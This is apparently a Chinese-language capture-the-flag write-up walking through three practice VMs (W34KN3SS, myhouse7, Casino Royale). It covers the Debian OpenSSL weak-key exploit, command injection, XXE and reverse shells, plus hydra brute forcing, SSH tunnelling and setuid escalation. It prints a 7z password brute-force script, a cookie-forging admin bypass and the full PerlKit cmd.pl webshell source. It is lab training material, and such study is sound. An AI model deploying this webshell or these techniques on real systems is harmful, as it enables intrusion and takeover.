靶机渗透三部曲——W34KN3SS+myhouse7+Casino Royale

本文对三个web靶机进行渗透分析，由易到难，循序渐进，分享出来，共同交流学习。

W34KN3SS

靶机地址：Download

靶机直接扔到vmware里，然后查看目标靶机IP地址信息：

上nmap查看靶机所开放的端口信息：

可以看到22、80、443三个端口，首先查看80端口的web信息

是apache的默认网页，没有发现有价值的信息，上wfuzz爆破一下站点的子目录：

访问blog、test子目录，均没有发现很有价值的线索。

再来回看端口扫描结果，在443端口的扫描结果中，观察到ssl-cert相关信息，将weakness.jth添加到本地hosts文件中，然后访问该域名：


爆破该域名的子目录：

这里发现了比较敏感的提示信息private目录，访问子目录发现了两个重要的文件：

两个文件的内容如下：
notes.txt:
this key was generated by openssl 0.9.8c-1
mykey.pub:
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApC39uhie9gZahjiiMo+k8DOqKLujcZMN1bESzSLT8H5jRGj8n1FFqjJw27Nu5JYTI73Szhg/uoeMOfECHNzGj7GtoMqwh38clgVjQ7Qzb47/kguAeWMUcUHrCBz9KsN+7eNTb5cfu0O0QgY+DoLxuwfVufRVNcvaNyo0VS1dAJWgDnskJJRD+46RlkUyVNhwegA0QRj9Salmpssp+z5wq7KBPL1S982QwkdhyvKg3dMy29j/C5sIIqM/mlqilhuidwo1ozjQlU2+yAVo5XrWDo0qVzzxsnTxB5JAfF7ifoDZp2yczZg+ZavtmfItQt1Vac1vSuBPCpTqkjE/4Iklgw== root@targetcluster
根据提示信息判断，0.9.8c-1版本openssl产生的key应该是存在可利用漏洞的：

searchsploit搜索一下，如图所示，由于伪随机数生成器可预测，导致SSH会被暴力破解，查看漏洞利用脚本内的信息：

根据描述，我们将5622.tar.bz2文件下载并解压，而后根据mykey.pub文件内的base64编码信息进行搜索：


如图所示，成功搜索到对应的私钥信息，利用此凭证登录SSH

拿到当前目录下user.txt的flag。工作进行到这里，并没有结束，因为靶机要求以root权限登录。因此需要继续进行～
在当前目录下还有一个code文件，是一个python编译后的文件。最直接的想法就是反编译。将code文件取回到本机，扔到在线网站进行反编译，结果如下：

可以发现其貌似是一个登录凭证：
n30:dMASDNB!!#B!#!#33
尝试利用上述信息，成功获取root权限，并拿到root.txt的flag：

 
myhouse7
靶机简介
靶机链接：https://thepcn3rd.blogspot.com/p/myhouse7.html
目标靶机上运行着多个docker container，靶机有2个Flag，每个container有3个Flag，一共20个Flag。Flag的格式如下：{{tryharder:xxx}}，其中xxx最多为4位数。目标靶机内的整体网络架构大致如下图所示：

基本信息搜集
首先netdiscover侦查靶机的IP信息

然后，nmap扫描靶机的端口信息

显然，靶机开放的端口包括：22,25,443,8008,10000,20000。上述端口扫描用的默认脚本，由于考虑到本靶机包含多个docker共20个Flag，为避免产生疏漏，进一步利用参数-P1-65535对所有端口进行遍历扫描。
结果，果然有意外收获，开放的端口还包括8111,8112,8115，而8111端口的扫描更是直接收获到一个Flag{{tryharder:114}}


针对上述开放的端口，可有针对性地开展下一步工作：

对22 ssh 端口尝试爆破
对各具体http的端口，寻找web的漏洞利用点
下面的行文将针对每一个container展开分析，而在真正的实践过程中，则是对搜集信息进行综合利用。
443 web container
web访问各端口的http服务，发现443端口指向如下页面，页面仅有简单的图片和文字，直接审源码，拿到一枚Flag，{{tryharder:999}}


然后，对该站点进行子目录爆破，可利用的工具有gobuster和wfuzz，此处使用后者，利用参数--hc 404 --hl 0，过滤掉404状态码的结果以及返回为空的结果。

爆破结果如上图，可以观察到两个可疑的结果f和flag，然后又拿到2个Flag，{{tryharder:217}},{{tryharder:714}}

至此，针对此web container的3个Flag已全部拿到。
20000 web host
访问20000端口的页面，直接在主页拿到一枚flag，{{tryharder:1}}此flag与后文一flag重复。

根据其页面信息提示，该页面很有可能是检测其靶机中各container的运行状态，因而该web应该是位于靶机host的，而非docker，因此该站点应该是包含2个flag的。
那么，另一个flag藏在哪里呢？就在该页面中。。。隐藏的input，差点儿就漏过去了。。

8111 web container

8111端口的web页面似乎没有重要信息，下面依然用wfuzz爆破8111端口的web

server-status下发现的Flag在前文已经拿到：

而图中的index.php则给了暗示，我们尝试扫描该站点下是否还存在其他的php文件，结果果然有收获：

查看一下b.php和c.php的内容：

其中b.php页面中的信息耐人寻味，其向c.php提交的value="ls -lha /etc/backup"，其name=command，似乎在暗示，b.php向c.php提交shell命令，而c.php返回结果。

web访问页面，验证了我们上文的猜想。这里看到了/etc/backup目录下存在flag.txt文件，因此，上burpsuite修改value的命令来拿flag:{{tryharder:1}}。

继续修改command，看到在该网站的根目录下存在着另一个flag文件，成功拿到该container的第三个flag{{tryharder:511}}

8115 web container
访问主页面，看到一句充满暗示性的语句：I stored a backup in /timelock/backup

果然在其目录下发现了不得了的东西：

继续浏览其他子页面，发现了timeclock页面，需要登录口令，猜测其是否存在弱口令的情况。

将all.zip文件下载回来，在其内的timeclock.sql内发现了如下sql语句

猜测可能为弱口令admin，果然成功登录，在其内部发现了一用户列表，包含了用户名和密码，各账号的用户名与口令相同，其中admin、larryjr、heather三个用户在后续会用到。

先暂时放下数据库中的信息，回到browse_backups.php页面，其提示信息如下，暗示可执行shell：

查看靶机上是否perl、python、Ruby等环境，以便构造反向shell。最终，利用python3成功实现反向shell。

如此以来~我们便可以干很多事情了~
由于我们已经知道了flag的字符串格式，我们直接在web目录下对文件内容进行字符串匹配：
grep -nr tryharder *
结果真的就如我们所愿…拿到了该web docker下的三个全部flag。

mysql db container

上文的{{tryharder:737}}位于/var/www/html/anchor/config/db.php文件中，猜测其可能是web的数据库配置文件，在文件具体内容中，找到了数据库的信息
hostname -> 172.31.20.10
port -> 3306
username -> root
password -> anchordb
因此，下一步工作尝试对mysql的container进行渗透

当前web环境中并不包含Mysql环境，因此先通过wget在web环境中导入mysql环境，然后登录到mysql数据库中

分别在flag数据库的flag表和anchor数据库的anchor_users表中拿到两个flag


数据库中一顿翻江倒海之后，并没有找到第三个flag，猜测其可能不再数据库表项中。尝试利用数据库注入的LOAD_FILE来查找mysql container 中是否存在类似于flag的文件。

至此，关于mysql db container的3枚flag已收齐。
smb container
至此，好像没有其他可利用的信息了。因此，尝试对22端口的ssh进行爆破，而爆破所用的字典首先想到的是在8115端口的web中发现的admin、larryjr、heather，利用hydra进行爆破：

吃惊脸~拿到了ssh的账户admin,admin。登录到靶机后的信息如下图，admin的权限为all，这意味着我们可以彻底控制目标靶机，甚至查看其上运行的各个docker container的状态。这应该是靶机创作者不小心的失误，而非靶机创作者的初衷。因此，后续的过程，我们将会控制权限的使用。

查看host上的网络信息，发现其内部存在多个子网段：

上nmap对各网段扫描，寻找可利用的信息，在对172.31.30.0/24的网段进行扫描时，发现如下信息：

而139端口、445端口是SMB协议的端口，为对这两个端口进行深入的分析，先在本地到其端口之间建立两条ssh隧道：


则下一步对本地的139和445端口的操作，会被映射到靶机内网的对应端口上。
下面用smbmap对本地进行扫描，虽然看起来有些奇怪，但由于ssh隧道的存在，最终扫描的是172.31.30.24机器。

在445端口上发现了两个Disk信息: users和companyInfo，但此时还没有相关权限，需要相关的用户名和口令。这里再次想到了前文收集到的heather、larryjr两个用户。尝试一下，果然正确。

用smb客户端smbclient分别登录到users和companyInfo中。


如上图所示，再次拿到了两个Flag。而第三枚flag，根据hint.txt提示，是moreinfo.7z文件的解压密码，格式满足{{tryharder:xx}}，xx为两位数。利用的思路很清晰：穷举爆破，利用如下代码，最终拿到的flag为{{tryharder:77}}：
import os
for i in range(101):
    passwd = "{{tryharder:%02d}}"%(i)
    cmd = ("7z e -aoa -p{0} moreinfo.7z").format(passwd)
    r = os.popen(cmd)
    info = r.read()
    if info.find("Errors") == -1:
        print passwd
24 ssh container
在靶机host上再次对172.31.20.0/24网段进行扫描：

发现在172.31.20.194的地址的24端口上运行着一个未知服务，尝试ncat连接过去，发现其实运行的是ssh服务：

同样，为方便后续操作，在本地20024端口与172.31.20.194:24间建立一条ssh隧道：


对于此ssh端口，之前搜集掌握的信息较少，因此只能采取爆破的方法，将前文收集的各类用户名和口令汇集成字典进行爆破：

成功爆破，ssh登录本地的20024端口，实质上是登录到靶机内网172.31.20.194:24的ssh服务，登录后就发现了两枚flag。

ssh登录到内网机器后，相当于我们已经掌控了对应机器，为简化寻找第三枚flag的操作，直接用grep搜索匹配特定格式的字符串。

 
casino royale
上面两个靶机还稍显简单，下面来看casino royale靶机，听这名字“皇家赌场”，还蛮有气势的。
靶机地址：Download
老套路，上来查看靶机IP信息，然后扫描端口信息：


开放了4个端口：21-ftp，25-smtp，80-http，8081-http
由80web端口入手：

页面上是个so cool的背影….没有重要信息，进行子目录爆破：

看到有index.php和phpmyadmin等线索，首先分析前者：

由上图可以观察到，该页面提到了pokermax poker league software，自然想到查看其是否存在已知的可利用漏洞，searchsploit结果如下：

果然有漏洞，具体漏洞信息如下图，其表明存在着不安全的Cookie处理流程，可实现以admin登录：

根据漏洞提示，直接访问/pokeradmin/configure.php页面，会跳转到登录界面：

在实际的摸索过程中，发现这一步可采用2种方法：
方法一：利用poker League-insecure cookie handling 直接绕过登录
利用WEB开发者工具的控制台，通过javascript：document.cookie="ValidUserAdmin=admin"绕过/pokeradmin/index.php，直接以管理员身份跳转到/pokeradmin/configure.php页面，在页面内直接观察到管理员口令信息：

方法二：利用sqlmap尝试获取数据库信息


发现数据库为：pokerleague，尝试从数据库中获取管理员登录信息


如图所示，从数据库中拿到的管理员信息与方法1中的信息是一致的。
继续进行～
在管理员的configure.php页面内，根据提示，将casino-royale.local添加到本地的/etc/hosts文件内：

继续在管理员页面内寻找信息，在Manage Players页面内看到多个用户的信息，其中Valenka用户具有email链接，并在其用户信息内发现了新的链接：/vip-client-portfolios/?uri=blog

访问新链接，发现其为Snowfox CMS

在页面内发现了重要的提示信息，要求向valenka发送邮件信息。
先来查看一下关于Snowfox CMS的信息，searchsploit找到该架构的漏洞和利用相关信息，为CSRF跨站请求伪造漏洞，利用该漏洞可获得管理员权限账户：

根据提示，在本机/var/www/html路径下新建1.html文件，将上述内容拷入其中，并对部分内容进行修改如下：

然后开启本机的apache服务。
根据靶机Snowfox CMS页面的提示信息，下一步利用25端口向靶机发送邮件信息。
查阅资料https://www.thomas-krenn.com/en/wiki/Test_TCP_Port_25_(smtp)_access_with_telnet，利用telnet连接到25端口后发送邮件的大致流程为：
EHLO test.example.com
MAIL FROM:SENDERADDRESS>
RCPT TO:RECIPIENTADDRESS>
DATA
Subject: Testmessage
(Blank line, press Enter again)
This is a test.
(Blank line, press Enter again)
.
QUIT
这里需要注意的是，靶机Snowfox CMS页面提示到，邮件的Subject必须是一个已知的用户，否则邮件不会被靶机接收。邮件发送详情如下：

邮件发送到目标靶机后，在本机apache的日志文件中，看到了靶机对1.html的访问记录：

此时，漏洞已触发完成，可利用在1.html内写入的用户名和口令作为管理员账户登录到Snowfox CMS系统中：

随后，在其用户管理页面中，在le用户信息中找到了新的链接：

访问一下：

在其源码中，看到了进一步的提示信息：

其提示信息大致意思是说可以向该页面post一个xml文件，在链接https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing上找到了详情信息，该步骤的主要内容是关于XML External Entity (XXE) Processing的。
构造一个xml.txt文件如下，通过curl命令，post到该页面中：


从返回结果中看到了ftp的用户名，由于21端口是开放的，且上面页面源码的提示信息说到ftp的密码是比较简单的，因此尝试爆破ftp：

爆破成功，利用该口令信息登录ftp：

浏览一下信息，发现可通过浏览器直接访问该目录：

几个文件内并没有有价值的信息，而hello_world.pl文件则给了我们暗示，我们尝试通过ftp上传一个webshell的perl文件：

cmd.pl内容如下，来自github
#!/usr/bin/perl
#
# PerlKit-0.1 - http://www.t0s.org
#
# cmd.pl: Run commands on a webserver
use strict;
my ($cmd, %FORM);
$|=1;
print "Content-Type: text/htmlrn";
print "rn";
# Get parameters
%FORM = parse_parameters($ENV{'QUERY_STRING'});
if(defined $FORM{'cmd'}) {
  $cmd = $FORM{'cmd'};
}
print '
 . $cmd . '">
';
if(defined $FORM{'cmd'}) {
  print "Results of '$cmd' execution:nn";
  print "-"x80;
  print "n";
  open(CMD, "($cmd) 2>&1 |") || print "Could not execute command";
  while() {
    print;
  }
  close(CMD);
  print "-"x80;
  print "n";
}
print "";
sub parse_parameters ($) {
  my %ret;
  my $input = shift;
  foreach my $pair (split('&', $input)) {
    my ($var, $value) = split('=', $pair, 2);
    if($var) {
      $value =~ s/+/ /g ;
      $value =~ s/%(..)/pack('c',hex($1))/eg;
      $ret{$var} = $value;
    }
  }
  return %ret;
}
检验一下，该shell的效果还是很好滴：

在此基础上，直接利用该webshell拿下一个回连本地1234端口的shell：


拿到shell，当前用户为www-data，在路径/opt/casino-royale下发现了新的线索，该index.html页面刚好是8081端口对应的页面，根据index.html的内容可知，其会调用collect.php，而collect.php则会调用casino-data-collection.py脚本

脚本casino-data-collection.py属于le用户，而当前www-data组对casino-data-collection.py脚本具有可写权限，我们可以写入一个反向python shell，这样当点击web界面的按钮时，即可获得一个le用户权限的反向shell：

获得新shell，当前用户变更为le。
继续分析这几个文件，mi6_detect_test文件为root所有，但其他用户可执行，且设置了setuid标志位，而run.sh为le所有，具有读写执行权限，而在分析过程中发现，前者会调用后者。
因此利用思路为：在run.sh中写入/bin/bash，这样mi6_detect_test执行时即获得了root权限的shell：

拿到root权限，执行/root/flag/flag.sh文件，前往web的8082端口～
Congratulations!!